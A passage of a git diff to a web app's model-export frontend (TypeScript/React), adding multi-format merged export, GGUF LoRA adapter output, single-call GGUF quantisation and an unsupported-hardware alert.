+    selectedSourceModel,
+    sourceMode,
+  ]);
 
   const handleLocalSourceInputChange = useCallback(
     (value: string, eventDetails?: { reason?: string }) => {
@@ -574,25 +703,40 @@ export function ExportPage() {
   // Assemble the run params from the current form and hand off to the global
   // runtime store, which drives load -> export -> cleanup in the background.
   const handleStart = useCallback(async () => {
-    const source = sourceMode === "checkpoint" ? checkpoint : selectedSourceModel;
+    const source =
+      sourceMode === "checkpoint" ? checkpoint : selectedSourceModel;
     if (!source || !exportMethod) return;
-    // A GGUF export with no quant selected runs zero exports yet would still
-    // settle as success with no file; require at least one (mirrors canExport).
-    if (exportMethod === "gguf" && quantLevels.length === 0) return;
+    // No supported accelerator (or PyTorch/MLX missing): the backend would reject anyway; don't submit.
+    if (exportUnsupported) return;
+    // GGUF with no quant, or merged with no format, would run an unintended/empty export; require
+    // at least one (mirrors canExport, in case the panel's Start button bypasses the outer one).
+    if (exportMethod === "gguf" && !ggufAsLora && quantLevels.length === 0)
+      return;
+    if (exportMethod === "merged" && selectedFormats.length === 0) return;
+    // A Hub merged push writes each format to the repo root; several would collide (mirrors canExport).
+    if (hubMultiFormat) return;
 
-    const selectedCp = sourceMode === "checkpoint"
-      ? checkpointsForModel.find((cp) => cp.display_name === checkpoint)
-      : null;
+    const selectedCp =
+      sourceMode === "checkpoint"
+        ? checkpointsForModel.find((cp) => cp.display_name === checkpoint)
+        : null;
     if (sourceMode === "checkpoint" && !selectedCp) return;
     const checkpointPath = selectedCp?.path ?? null;
 
     const pushToHub = destination === "hub";
-    const repoId = pushToHub && hfUsername && modelName
-      ? `${hfUsername}/${modelName}`
-      : undefined;
+    const repoId =
+      pushToHub && hfUsername && modelName
+        ? `${hfUsername}/${modelName}`
+        : undefined;
     const token = pushToHub && hfToken ? hfToken : undefined;
-    const methodLabel =
-      EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ?? exportMethod;
+    // The GGUF method with the LoRA target reuses the LoRA-adapter export path.
+    const effectiveMethod: ExportMethod = ggufAsLora ? "lora" : exportMethod;
+    const emitLoraGguf =
+      ggufAsLora || (effectiveMethod === "lora" && loraAsGguf && !isMacHost);
+    const methodLabel = ggufAsLora
+      ? "GGUF LoRA adapter"
+      : (EXPORT_METHODS.find((m) => m.value === exportMethod)?.title ??
+        exportMethod);
     const adapterExport = sourceMode === "checkpoint" && isAdapter;
 
     // Consent gate for an HF source's custom (auto_map) code, run before we hand
@@ -624,11 +768,16 @@ export function ExportPage() {
       trustRemoteCode,
       approvedRemoteCodeFingerprint,
       loadToken: hfToken || null,
-      exportMethod,
+      exportMethod: effectiveMethod,
       isAdapter: adapterExport,
       quantLevels,
       useImatrix: effectiveImatrix,
-      mergedFormat,
+      mergedSelections: selectedFormats.map((v) => ({
+        ...mergedFormatPayload(v),
+        label: MERGED_FORMATS.find((f) => f.value === v)?.label ?? v,
+      })),
+      loraGguf: emitLoraGguf,
+      loraGgufOuttype,
       saveDirectory,
       destination,
       repoId,
@@ -639,8 +788,9 @@ export function ExportPage() {
         baseModelName: sourceBaseModelName,
         checkpointLabel: selectedExportSource,
         methodLabel,
-        method: exportMethod,
+        method: effectiveMethod,
         quantLevels,
+        mergedFormats: exportMethod === "merged" ? selectedFormats : [],
         destination,
       },
     });
@@ -656,7 +806,13 @@ export function ExportPage() {
     isAdapter,
     quantLevels,
     effectiveImatrix,
-    mergedFormat,
+    selectedFormats,
+    hubMultiFormat,
+    ggufAsLora,
+    loraAsGguf,
+    isMacHost,
+    loraGgufOuttype,
+    exportUnsupported,
     destination,
     saveDirectory,
     hfUsername,
@@ -811,7 +967,10 @@ export function ExportPage() {
 
                   {sourceMode === "checkpoint" ? (
                     <div className="flex flex-col gap-2 overflow-visible">
-                      <div data-tour="export-training-run" className="flex flex-col gap-2">
+                      <div
+                        data-tour="export-training-run"
+                        className="flex flex-col gap-2"
+                      >
                         <label className="text-xs font-medium text-muted-foreground">
                           Training Run
                         </label>
@@ -835,13 +994,12 @@ export function ExportPage() {
                                 ? m.name.slice(0, tsMatch.index)
                                 : m.name;
                               const timeStr = tsMatch
-                                ? new Date(Number(tsMatch[1]) * 1000).toLocaleString(
-                                    undefined,
-                                    {
-                                      dateStyle: "medium",
-                                      timeStyle: "short",
-                                    },
-                                  )
+                                ? new Date(
+                                    Number(tsMatch[1]) * 1000,
+                                  ).toLocaleString(undefined, {
+                                    dateStyle: "medium",
+                                    timeStyle: "short",
+                                  })
                                 : null;
                               return (
                                 <SelectItem key={m.name} value={m.name}>
@@ -864,7 +1022,10 @@ export function ExportPage() {
                         </Select>
                       </div>
 
-                      <div data-tour="export-checkpoint" className="flex flex-col gap-2">
+                      <div
+                        data-tour="export-checkpoint"
+                        className="flex flex-col gap-2"
+                      >
                         <label className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
                           Checkpoint
                           <Tooltip>
@@ -901,11 +1062,11 @@ export function ExportPage() {
                           <SelectTrigger className="w-full">
                             <SelectValue
                               placeholder={
-                                !selectedModelIdx
-                                  ? "Select a training run first"
-                                  : checkpointsForModel.length === 0
+                                selectedModelIdx
+                                  ? checkpointsForModel.length === 0
                                     ? "No checkpoints found"
                                     : "Select a checkpoint…"
+                                  : "Select a training run first"
                               }
                             />
                           </SelectTrigger>
@@ -939,7 +1100,9 @@ export function ExportPage() {
                                 items={hfResultIds}
                                 filteredItems={hfResultIds}
                                 filter={null}
-                                value={modelInput || selectedSourceModel || null}
+                                value={
+                                  modelInput || selectedSourceModel || null
+                                }
                                 onValueChange={handleHfSourceModelSelect}
                                 onInputValueChange={handleHfSourceInputChange}
                                 itemToStringValue={(id) => id}
@@ -958,7 +1121,10 @@ export function ExportPage() {
                                   }}
                                 >
                                   <InputGroupAddon>
-                                    <HugeiconsIcon icon={Search01Icon} className="size-4" />
+                                    <HugeiconsIcon
+                                      icon={Search01Icon}
+                                      className="size-4"
+                                    />
                                   </InputGroupAddon>
                                 </ComboboxInput>
                                 <ComboboxContent anchor={hfComboboxAnchorRef}>
@@ -967,11 +1133,17 @@ export function ExportPage() {
                                       <Spinner className="size-4" /> Searching…
                                     </div>
                                   ) : (
-                                    <ComboboxEmpty>No models found</ComboboxEmpty>
+                                    <ComboboxEmpty>
+                                      No models found
+                                    </ComboboxEmpty>
                                   )}
                                   <ComboboxList className="p-1 !max-h-none !overflow-visible">
                                     {(id: string) => (
-                                      <ComboboxItem key={id} value={id} className="gap-2">
+                                      <ComboboxItem
+                                        key={id}
+                                        value={id}
+                                        className="gap-2"
+                                      >
                                         <span className="block min-w-0 flex-1 truncate">
                                           {id}
                                         </span>
@@ -995,7 +1167,10 @@ export function ExportPage() {
                             </label>
                             <InputGroup>
                               <InputGroupAddon>
-                                <HugeiconsIcon icon={Key01Icon} className="size-4" />
+                                <HugeiconsIcon
+                                  icon={Key01Icon}
+                                  className="size-4"
+                                />
                               </InputGroupAddon>
                               <InputGroupInput
                                 type="password"
@@ -1007,7 +1182,9 @@ export function ExportPage() {
                               />
                             </InputGroup>
                             {isCheckingToken && (
-                              <p className="text-xs text-muted-foreground">Checking token…</p>
+                              <p className="text-xs text-muted-foreground">
+                                Checking token…
+                              </p>
                             )}
                           </div>
                         </>
@@ -1039,15 +1216,24 @@ export function ExportPage() {
                                     : "./models/my-model"
                                 }
                                 className="w-full"
-                                onBlur={() => applyLocalSourceModel(localModelInputRef.current)}
+                                onBlur={() =>
+                                  applyLocalSourceModel(
+                                    localModelInputRef.current,
+                                  )
+                                }
                                 onKeyDown={(event) => {
                                   if (event.key !== "Enter") return;
                                   event.preventDefault();
-                                  applyLocalSourceModel(localModelInputRef.current);
+                                  applyLocalSourceModel(
+                                    localModelInputRef.current,
+                                  );
                                 }}
                               >
                                 <InputGroupAddon>
-                                  <HugeiconsIcon icon={FolderSearchIcon} className="size-4" />
+                                  <HugeiconsIcon
+                                    icon={FolderSearchIcon}
+                                    className="size-4"
+                                  />
                                 </InputGroupAddon>
                               </ComboboxInput>
                               <ComboboxContent anchor={localComboboxAnchorRef}>
@@ -1060,7 +1246,9 @@ export function ExportPage() {
                                     {localModelsError}
                                   </div>
                                 ) : (
-                                  <ComboboxEmpty>No local models found</ComboboxEmpty>
+                                  <ComboboxEmpty>
+                                    No local models found
+                                  </ComboboxEmpty>
                                 )}
                                 <ComboboxList className="p-1 !max-h-none !overflow-visible">
                                   {(id: string) => {
@@ -1072,7 +1260,11 @@ export function ExportPage() {
                                           ? "Custom Folders"
                                           : "Local dir";
                                     return (
-                                      <ComboboxItem key={id} value={id} className="gap-2">
+                                      <ComboboxItem
+                                        key={id}
+                                        value={id}
+                                        className="gap-2"
+                                      >
                                         <span className="block min-w-0 flex-1 truncate">
                                           {model?.display_name ?? id}
                                         </span>
@@ -1091,7 +1283,9 @@ export function ExportPage() {
                               Scanning local models...
                             </p>
                           ) : localModelsError ? (
-                            <p className="text-[10px] text-red-500">{localModelsError}</p>
+                            <p className="text-[10px] text-red-500">
+                              {localModelsError}
+                            </p>
                           ) : (
                             <p className="text-[10px] text-muted-foreground">
                               {exportableLocalModels.length > 0
@@ -1117,7 +1311,9 @@ export function ExportPage() {
                       </span>
                       <div className="grid grid-cols-1 gap-x-6 gap-y-1.5 text-xs sm:grid-cols-2">
                         <div className="flex justify-between">
-                          <span className="text-muted-foreground">Base Model</span>
+                          <span className="text-muted-foreground">
+                            Base Model
+                          </span>
                           <span className="font-medium">{baseModelName}</span>
                         </div>
                         <div className="flex justify-between">
@@ -1127,14 +1323,18 @@ export function ExportPage() {
                           </span>
                         </div>
                         <div className="flex justify-between">
-                          <span className="text-muted-foreground">Checkpoints</span>
+                          <span className="text-muted-foreground">
+                            Checkpoints
+                          </span>
                           <span className="font-medium">
                             {checkpointsForModel.length}
                           </span>
                         </div>
                         {isAdapter && (
                           <div className="flex justify-between">
-                            <span className="text-muted-foreground">LoRA Rank</span>
+                            <span className="text-muted-foreground">
+                              LoRA Rank
+                            </span>
                             <span className="font-medium">{loraRank}</span>
                           </div>
                         )}
@@ -1163,75 +1363,311 @@ export function ExportPage() {
                 </div>
               </div>
 
+              {exportUnsupported && (
+                <Alert variant="destructive">
+                  <HugeiconsIcon icon={AlertCircleIcon} className="size-4" />
+                  <AlertTitle>Export unavailable</AlertTitle>
+                  <AlertDescription>
+                    {exportUnsupportedMessage}
+                  </AlertDescription>
+                </Alert>
+              )}
+
               <MethodPicker
                 value={exportMethod}
                 onChange={handleMethodChange}
                 disabledMethods={
-                  !isAdapter && isQuantized
+                  exportUnsupported
                     ? ["merged", "lora", "gguf"]
-                    : !isAdapter || sourceMode === "model"
-                      ? ["merged", "lora"]
-                      : []
+                    : !effectiveIsAdapter && effectiveIsQuantized
+                      ? ["merged", "lora", "gguf"]
+                      : effectiveIsAdapter
+                        ? []
+                        : ["lora"]
                 }
                 disabledReason={
-                  !isAdapter && isQuantized
-                    ? "Pre-quantized (BNB 4-bit) models cannot be exported without LoRA adapters"
-                    : sourceMode === "model"
-                      ? "Only GGUF export is available for direct model export"
-                      : !isAdapter
-                        ? "Not available for full fine-tune checkpoints (no LoRA adapters)"
-                        : undefined
+                  exportUnsupported
+                    ? exportUnsupportedMessage
+                    : !effectiveIsAdapter && effectiveIsQuantized
+                      ? "Pre-quantized (BNB 4-bit) models cannot be exported without LoRA adapters"
+                      : effectiveIsAdapter
+                        ? undefined
+                        : "LoRA-only export needs a LoRA adapter checkpoint"
                 }
               />
 
-              {exportMethod === "merged" && isAdapter && (
-                <div className="space-y-2">
-                  <div className="text-sm font-medium">Precision</div>
-                  <div className="flex flex-wrap gap-2">
-                    {MERGED_FORMATS.map((f) => (
-                      <Button
-                        key={f.value}
-                        type="button"
-                        variant={mergedFormat === f.value ? "default" : "outline"}
-                        size="sm"
-                        onClick={() => setMergedFormat(f.value)}
-                        title={f.hint}
-                      >
-                        {f.label}
-                      </Button>
-                    ))}
-                  </div>
-                  <div className="text-xs text-muted-foreground">
-                    {MERGED_FORMATS.find((f) => f.value === mergedFormat)?.hint}
+              {exportMethod === "merged" && !exportUnsupported && (
+                <div className="space-y-3">
+                  <div className="space-y-2">
+                    <div className="flex items-center justify-between">
+                      <div className="text-sm font-medium">Precision</div>
+                      <span className="text-[11px] text-muted-foreground/70">
+                        — select one or more
+                      </span>
+                    </div>
+                    <div className="flex flex-wrap gap-2">
+                      {availableFormats
+                        .filter((f) => f.common)
+                        .map((f) => {
+                          const active = selectedFormats.includes(f.value);
+                          return (
+                            <Button
+                              key={f.value}
+                              type="button"
+                              variant={active ? "default" : "outline"}
+                              size="sm"
+                              onClick={() => toggleFormat(f.value)}
+                              title={f.hint}
+                            >
+                              {f.label}
+                              {f.needsCalibration ? " *" : ""}
+                            </Button>
+                          );
+                        })}
+
+                      {availableFormats.some((f) => !f.common) && (
+                        <DropdownMenu>
+                          <DropdownMenuTrigger asChild={true}>
+                            <Button type="button" variant="outline" size="sm">
+                              More formats
+                              {selectedFormats.some((v) =>
+                                availableFormats.find(
+                                  (f) => f.value === v && !f.common,
+                                ),
+                              )
+                                ? " ✓"
+                                : "…"}
+                            </Button>
+                          </DropdownMenuTrigger>
+                          <DropdownMenuContent align="start" className="w-64">
+                            <DropdownMenuLabel>
+                              Additional formats
+                            </DropdownMenuLabel>
+                            <DropdownMenuSeparator />
+                            {availableFormats
+                              .filter((f) => !f.common)
+                              .map((f) => (
+                                <DropdownMenuCheckboxItem
+                                  key={f.value}
+                                  checked={selectedFormats.includes(f.value)}
+                                  onCheckedChange={() => toggleFormat(f.value)}
+                                  onSelect={(e) => e.preventDefault()}
+                                >
+                                  <span className="flex flex-col">
+                                    <span>
+                                      {f.label}
+                                      {f.needsCalibration ? " *" : ""}
+                                    </span>
+                                    <span className="text-[10px] text-muted-foreground">
+                                      {f.hint}
+                                    </span>
+                                  </span>
+                                </DropdownMenuCheckboxItem>
+                              ))}
+                          </DropdownMenuContent>
+                        </DropdownMenu>
+                      )}
+                    </div>
+
+                    {selectedFormats.length > 0 && (
+                      <div className="flex flex-wrap items-center gap-x-3 gap-y-1">
+                        <span className="text-[11px] text-muted-foreground">
+                          {selectedFormats.length} selected:{" "}
+                          {selectedFormats
+                            .map(
+                              (v) =>
+                                MERGED_FORMATS.find((f) => f.value === v)
+                                  ?.label ?? v,
+                            )
+                            .join(", ")}
+                        </span>
+                        {selectedFormats.length > 1 && (
+                          <button
+                            type="button"
+                            onClick={() => setSelectedFormats(["16-bit"])}
+                            className="text-[11px] text-muted-foreground/70 hover:text-foreground transition-colors"
+                          >
+                            Reset to 16-bit
+                          </button>
+                        )}
+                      </div>
+                    )}
+
+                    {hubMultiFormat && (
+                      <div className="text-[11px] text-amber-600 dark:text-amber-500">
+                        Hub export supports one format at a time (each writes to
+                        the repository root). Select a single format, or export
+                        locally to produce several at once.
+                      </div>
+                    )}
+
+                    {selectedFormats.some(
+                      (v) =>
+                        MERGED_FORMATS.find((f) => f.value === v)
+                          ?.needsCalibration,
+                    ) && (
+                      <div className="text-[11px] text-muted-foreground">
+                        * calibrates on data (uses a small calibration set).
+                      </div>
+                    )}
+
+                    {!hasNvidia && (
+                      <div className="text-[11px] text-muted-foreground">
+                        No NVIDIA GPU detected: compressed-tensors formats are
+                        hidden. 16-bit and portable FP8/INT8 (torchao) still
+                        work here and load in vLLM.
+                      </div>
+                    )}
                   </div>
                 </div>
               )}
 
-              {exportMethod === "gguf" && (
-                <>
-                  <QuantPicker
-                    value={quantLevels}
-                    onChange={setQuantLevels}
-                    sizes={quantSizeLabels}
-                  />
-                  <div className="flex items-center justify-between gap-3 rounded-lg border p-3">
-                    <div className="space-y-0.5">
-                      <div className="text-sm font-medium">
-                        Importance matrix (imatrix)
+              {exportMethod === "lora" &&
+                effectiveIsAdapter &&
+                !exportUnsupported && (
+                  <div className="space-y-3">
+                    <div className="space-y-2">
+                      <div className="text-sm font-medium">Adapter format</div>
+                      <div className="flex flex-wrap gap-2">
+                        <Button
+                          type="button"
+                          variant={loraAsGguf ? "outline" : "default"}
+                          size="sm"
+                          onClick={() => setLoraAsGguf(false)}
+                          title="Standard PEFT adapter (adapter_model.safetensors)."
+                        >
+                          Adapter (safetensors)
+                        </Button>
+                        <Button
+                          type="button"
+                          variant={loraAsGguf ? "default" : "outline"}
+                          size="sm"
+                          disabled={isMacHost}
+                          onClick={() => setLoraAsGguf(true)}
+                          title={
+                            isMacHost
+                              ? "GGUF LoRA export is not available on macOS/MLX. Use the safetensors adapter."
+                              : "llama.cpp GGUF LoRA, loadable with `llama-cli --lora`."
+                          }
+                        >
+                          GGUF adapter
+                        </Button>
                       </div>
                       <div className="text-xs text-muted-foreground">
-                        {requiresImatrix
-                          ? "Required for the selected IQ low-bit quant. Auto-downloads the upstream Unsloth imatrix for the base model."
-                          : "Improves quant quality and unlocks the IQ low-bit quants. Auto-downloads the upstream Unsloth imatrix for the base model."}
+                        {isMacHost
+                          ? "GGUF LoRA is not available on macOS/MLX; exporting the safetensors adapter."
+                          : loraAsGguf
+                            ? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate."
+                            : "Standard PEFT adapter files. Pair with the base model at inference."}
                       </div>
                     </div>
-                    <Switch
-                      checked={effectiveImatrix}
-                      onCheckedChange={setUseImatrix}
-                      disabled={requiresImatrix}
-                    />
+
+                    {loraAsGguf && (
+                      <div className="space-y-1.5">
+                        <div className="text-sm font-medium">Output type</div>
+                        <Select
+                          value={loraGgufOuttype}
+                          onValueChange={(v) => setLoraGgufOuttype(v)}
+                        >
+                          <SelectTrigger className="w-full sm:w-56">
+                            <SelectValue />
+                          </SelectTrigger>
+                          <SelectContent>
+                            {LORA_GGUF_OUTTYPES.map((t) => (
+                              <SelectItem key={t} value={t}>
+                                {t.toUpperCase()}
+                              </SelectItem>
+                            ))}
+                          </SelectContent>
+                        </Select>
+                      </div>
+                    )}
                   </div>
-                </>
+                )}
+
+              {exportMethod === "gguf" && !exportUnsupported && (
+                <div className="space-y-3">
+                  {effectiveIsAdapter && !isMacHost && (
+                    <div className="space-y-2">
+                      <div className="text-sm font-medium">Export target</div>
+                      <div className="flex flex-wrap gap-2">
+                        <Button
+                          type="button"
+                          variant={
+                            ggufTarget === "model" ? "default" : "outline"
+                          }
+                          size="sm"
+                          onClick={() => setGgufTarget("model")}
+                          title="Merge the adapter into the base model, then quantize the full model to GGUF."
+                        >
+                          Full model
+                        </Button>
+                        <Button
+                          type="button"
+                          variant={
+                            ggufTarget === "lora" ? "default" : "outline"
+                          }
+                          size="sm"
+                          onClick={() => setGgufTarget("lora")}
+                          title="Export just the adapter as a GGUF LoRA (llama.cpp `--lora`); the base model stays separate."
+                        >
+                          LoRA adapter
+                        </Button>
+                      </div>
+                      <div className="text-xs text-muted-foreground">
+                        {ggufTarget === "lora"
+                          ? "Converts the adapter to a GGUF LoRA (llama.cpp `--lora`). The base model stays separate."
+                          : "Merges the adapter into the base model, then quantizes the full model to GGUF."}
+                      </div>
+                    </div>
+                  )}
+
+                  {ggufAsLora ? (
+                    <div className="space-y-1.5">
+                      <div className="text-sm font-medium">Output type</div>
+                      <Select
+                        value={loraGgufOuttype}
+                        onValueChange={(v) => setLoraGgufOuttype(v)}
+                      >
+                        <SelectTrigger className="w-full sm:w-56">
+                          <SelectValue />
+                        </SelectTrigger>
+                        <SelectContent>
+                          {LORA_GGUF_OUTTYPES.map((t) => (
+                            <SelectItem key={t} value={t}>
+                              {t.toUpperCase()}
+                            </SelectItem>
+                          ))}
+                        </SelectContent>
+                      </Select>
+                    </div>
+                  ) : (
+                    <>
+                      <QuantPicker
+                        value={quantLevels}
+                        onChange={setQuantLevels}
+                        sizes={quantSizeLabels}
+                      />
+                      <div className="flex items-center justify-between gap-3 rounded-lg border p-3">
+                        <div className="space-y-0.5">
+                          <div className="text-sm font-medium">
+                            Importance matrix (imatrix)
+                          </div>
+                          <div className="text-xs text-muted-foreground">
+                            {requiresImatrix
+                              ? "Required for the selected IQ low-bit quant. Auto-downloads the upstream Unsloth imatrix for the base model."
+                              : "Improves quant quality and unlocks the IQ low-bit quants. Auto-downloads the upstream Unsloth imatrix for the base model."}
+                          </div>
+                        </div>
+                        <Switch
+                          checked={effectiveImatrix}
+                          onCheckedChange={setUseImatrix}
+                          disabled={requiresImatrix}
+                        />
+                      </div>
+                    </>
+                  )}
+                </div>
               )}
               {estimatedSize && (
                 <div className="flex items-center gap-1.5 text-xs text-muted-foreground">
@@ -1245,32 +1681,36 @@ export function ExportPage() {
 
               <Separator />
               {showPanel && (
-                    <ExportRunPanel
-                      exportMethod={exportMethod}
-                      quantLevels={quantLevels}
-                      checkpoint={selectedExportSource}
-                      baseModelName={sourceBaseModelName}
-                      isAdapter={sourceMode === "checkpoint" && isAdapter}
-                      destination={destination}
-                      onDestinationChange={setDestination}
-                      saveDirectory={saveDirectory}
-                      defaultSaveDirectory={defaultSaveDirectory}
-                      saveDirectoryOverridden={!!customSaveDirectory}
-                      onSaveDirectoryChange={setCustomSaveDirectory}
-                      hfUsername={hfUsername}
-                      onHfUsernameChange={setHfUsername}
-                      modelName={modelName}
-                      onModelNameChange={setModelName}
-                      hfToken={hfToken}
-                      onHfTokenChange={setHfToken}
-                      privateRepo={privateRepo}
-                      onPrivateRepoChange={setPrivateRepo}
-                      onStart={handleStart}
-                      onClose={handleClosePanel}
-                    />
-                )}
+                <ExportRunPanel
+                  exportMethod={exportMethod}
+                  quantLevels={quantLevels}
+                  checkpoint={selectedExportSource}
+                  baseModelName={sourceBaseModelName}
+                  isAdapter={sourceMode === "checkpoint" && isAdapter}
+                  destination={destination}
+                  onDestinationChange={setDestination}
+                  saveDirectory={saveDirectory}
+                  defaultSaveDirectory={defaultSaveDirectory}
+                  saveDirectoryOverridden={!!customSaveDirectory}
+                  onSaveDirectoryChange={setCustomSaveDirectory}
+                  hfUsername={hfUsername}
+                  onHfUsernameChange={setHfUsername}
+                  modelName={modelName}
+                  onModelNameChange={setModelName}
+                  hfToken={hfToken}
+                  onHfTokenChange={setHfToken}
+                  privateRepo={privateRepo}
+                  onPrivateRepoChange={setPrivateRepo}
+                  onStart={handleStart}
+                  onClose={handleClosePanel}
+                />
+              )}
               {showPanel && (
-                <div ref={panelEndRef} aria-hidden="true" className="h-px w-full" />
+                <div
+                  ref={panelEndRef}
+                  aria-hidden="true"
+                  className="h-px w-full"
+                />
               )}
               {showPanel && !panelEndVisible && (
                 <button
@@ -1284,7 +1724,10 @@ export function ExportPage() {
                   aria-label="Scroll to export output"
                   className="fixed bottom-6 right-6 z-30 flex size-10 items-center justify-center rounded-full border border-border/60 bg-background/90 text-foreground shadow-md backdrop-blur transition-colors hover:bg-muted"
                 >
-                  <HugeiconsIcon icon={ArrowDown01Icon} className="size-5" />
+                  <HugeiconsIcon
+                    icon={ChevronDownStandardIcon}
+                    className="size-5"
+                  />
                 </button>
               )}
               {!showPanel && (
diff --git a/studio/frontend/src/features/export/stores/export-runtime-store.ts b/studio/frontend/src/features/export/stores/export-runtime-store.ts
index a87e7d93e9..6ee5c78994 100644
--- a/studio/frontend/src/features/export/stores/export-runtime-store.ts
+++ b/studio/frontend/src/features/export/stores/export-runtime-store.ts
@@ -5,7 +5,6 @@ import { create } from "zustand";
 import {
   cancelExport,
   cleanupExport,
-  exportBase,
   exportGGUF,
   exportLoRA,
   exportMerged,
@@ -119,6 +118,8 @@ export interface ExportRunSummary {
   methodLabel: string;
   method: ExportMethod;
   quantLevels: string[];
+  /** Merged: the selected format values (for the summary "Formats" row and to reseed the picker). */
+  mergedFormats: string[];
   destination: ExportDestination;
 }
 
@@ -140,8 +141,16 @@ export interface RunExportParams {
   quantLevels: string[];
   /** GGUF: use an importance matrix (auto-download); required for the IQ quants. */
   useImatrix?: boolean;
-  /** Merged: precision/format ("16-bit (FP16)" or a compressed-tensors option). */
-  mergedFormat?: string;
+  /** Merged: precision formats, each exported to its own sibling directory. Defaults to 16-bit.
+   *  `label` is the display name for the success banner's per-format output line. */
+  mergedSelections?: {
+    formatType: string;
+    compressedMethod: string | null;
+    label: string;
+  }[];
+  /** LoRA: also emit a GGUF LoRA adapter (llama.cpp `--lora`), and its output float type. */
+  loraGguf?: boolean;
+  loraGgufOuttype?: string;
   saveDirectory: string;
   destination: ExportDestination;
   repoId?: string;
@@ -172,7 +181,13 @@ interface ExportRuntimeState {
    *  settling the run by polling /api/export/status instead. Logs keep streaming. */
   reconnecting: boolean;
   startedAt: number | null;
-  result: { outputPath: string | null; destination: ExportDestination } | null;
+  /** `outputPath` is the first path (back-compat); `outputPaths` is one entry per written folder
+   *  so a multi-format merged run can list every sibling directory it created. */
+  result: {
+    outputPath: string | null;
+    outputPaths: { label: string; path: string }[];
+    destination: ExportDestination;
+  } | null;
   error: string | null;
   cancelRequested: boolean;
   hasHydrated: boolean;
@@ -317,6 +332,10 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
             phase: "success" as const,
             result: {
               outputPath: status.last_op_output_path ?? null,
+              // A run recovered from the backend only knows the last output path.
+              outputPaths: status.last_op_output_path
+                ? [{ label: "", path: status.last_op_output_path }]
+                : [],
               destination: state.result?.destination ?? "local",
             },
           };
@@ -351,7 +370,9 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
     const quantTotal =
       params.exportMethod === "gguf"
         ? Math.max(1, params.quantLevels.length)
-        : 1;
+        : params.exportMethod === "merged"
+          ? Math.max(1, params.mergedSelections?.length ?? 1)
+          : 1;
 
     set({
       runId,
@@ -431,67 +452,72 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
       }
       if (!isCurrent()) return;
 
-      // 2. Run the export. Capture the resolved output_path for the success
-      // banner; multi-quant GGUF shares one directory, so keep the last.
+      // 2. Run the export. Collect every resolved output_path so the success
+      // banner can list each sibling directory a multi-format run created.
       set({ phase: "exporting" });
-      let lastOutputPath: string | null = null;
+      const outputs: { label: string; path: string }[] = [];
 
       if (params.exportMethod === "merged") {
-        if (params.isAdapter) {
+        // Each selected format writes its own sibling directory (PEFT or non-PEFT base alike).
+        const selections =
+          params.mergedSelections && params.mergedSelections.length > 0
+            ? params.mergedSelections
+            : [{ formatType: "16-bit (FP16)", compressedMethod: null, label: "16-bit" }];
+        for (let i = 0; i < selections.length; i += 1) {
+          if (!isCurrent()) return;
+          set({ quantIndex: i });
+          const sel = selections[i];
           const { outputPath } = await runRecoverableOp(() =>
             exportMerged({
               save_directory: params.saveDirectory,
-              format_type: params.mergedFormat,
+              format_type: sel.formatType,
+              compressed_method: sel.compressedMethod,
               push_to_hub: pushToHub,
               repo_id: params.repoId,
               hf_token: params.token,
               private: params.privateRepo,
             }),
           );
-          lastOutputPath = outputPath;
-        } else {
-          const { outputPath } = await runRecoverableOp(() =>
-            exportBase({
-              save_directory: params.saveDirectory,
-              push_to_hub: pushToHub,
-              repo_id: params.repoId,
-              hf_token: params.token,
-              private: params.privateRepo,
-              base_model_id: params.baseModelId,
-            }),
-          );
-          lastOutputPath = outputPath;
-        }
-      } else if (params.exportMethod === "gguf") {
-        for (let i = 0; i < params.quantLevels.length; i += 1) {
-          if (!isCurrent()) return;
-          set({ quantIndex: i });
-          const quant = params.quantLevels[i];
-          const { outputPath } = await runRecoverableOp(() =>
-            exportGGUF({
-              save_directory: params.saveDirectory,
-              quantization_method: quant,
-              push_to_hub: pushToHub,
-              repo_id: params.repoId,
-              hf_token: params.token,
-              imatrix: params.useImatrix,
-            }),
-          );
-          lastOutputPath = outputPath ?? lastOutputPath;
+          if (outputPath) outputs.push({ label: sel.label, path: outputPath });
           if (!isCurrent()) return;
           set({ quantIndex: i + 1 });
         }
+      } else if (params.exportMethod === "gguf") {
+        // Send the whole quant list in ONE call: the model is merged once and every GGUF comes
+        // from that single merge (unsloth save_to_gguf loops internally).
+        const { outputPath } = await runRecoverableOp(() =>
+          exportGGUF({
+            save_directory: params.saveDirectory,
+            quantization_method: params.quantLevels,
+            push_to_hub: pushToHub,
+            repo_id: params.repoId,
+            hf_token: params.token,
+            imatrix: params.useImatrix,
+          }),
+        );
+        if (outputPath) outputs.push({ label: "GGUF", path: outputPath });
+        if (!isCurrent()) return;
+        set({ quantIndex: get().quantTotal });
       } else if (params.exportMethod === "lora") {
         const { outputPath } = await runRecoverableOp(() =>
           exportLoRA({
             save_directory: params.saveDirectory,
             push_to_hub: pushToHub,
             repo_id: params.repoId,
-            hf_token: params.token,
+            // A local GGUF LoRA export still reloads a possibly-gated base config, so fall back to
+            // the load token when there is no hub-upload token (both are the same HF token).
+            hf_token: params.token ?? params.loadToken ?? null,
             private: params.privateRepo,
+            gguf: params.loraGguf ?? false,
+            gguf_outtype: params.loraGgufOuttype ?? "q8_0",
           }),
         );
-        lastOutputPath = outputPath;
+        if (outputPath) {
+          outputs.push({
+            label: params.loraGguf ? "GGUF LoRA adapter" : "LoRA adapter",
+            path: outputPath,
+          });
+        }
       }
       if (!isCurrent()) return;
 
@@ -499,7 +525,11 @@ export const useExportRuntimeStore = create<ExportRuntimeStore>()((set, get) =>
         phase: "success",
         isExporting: false,
         reconnecting: false,
-        result: { outputPath: lastOutputPath, destination: params.destination },
+        result: {
+          outputPath: outputs[0]?.path ?? null,
+          outputPaths: outputs,
+          destination: params.destination,
+        },
       });
     } catch (err) {
       if (!isCurrent()) return;
diff --git a/studio/frontend/src/features/hub/catalog/download-card.tsx b/studio/frontend/src/features/hub/catalog/download-card.tsx
index 17177936ae..9b4bc5fd01 100644
--- a/studio/frontend/src/features/hub/catalog/download-card.tsx
+++ b/studio/frontend/src/features/hub/catalog/download-card.tsx
@@ -140,7 +140,7 @@ export function CardUpdateButton({
               e.stopPropagation();
               onClick();
             }}
